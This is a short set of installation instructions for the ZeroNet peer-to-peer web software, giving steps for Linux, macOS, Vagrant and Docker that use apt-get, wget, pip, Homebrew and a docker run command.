• sudo apt-get install msgpack-python python-gevent
• wget https://github.com/HelloZeroNet/ZeroNet/archive/master.tar.gz
• tar xvpfz master.tar.gz
• cd ZeroNet-master
• Start with python zeronet.py
• Open http://127.0.0.1:43110/ in your browser and enjoy! :)

• Check your python version using python --version if the returned version is not Python 2.7.X then try python2 or python2.7 command and use it from now
• wget https://bootstrap.pypa.io/get-pip.py
• python get-pip.py --user gevent msgpack-python
• Start with python zeronet.py

• Install Homebrew
• brew install python
• pip install gevent msgpack-python
• Download, Unpack, run python zeronet.py

• vagrant up
• Access VM with vagrant ssh
• cd /vagrant
• Run python zeronet.py --ui_ip 0.0.0.0
• Open http://127.0.0.1:43110/ in your browser

• docker run -p 15441:15441 -p 43110:43110 nofish/zeronet​
• Open http://127.0.0.1:43110/ in your browser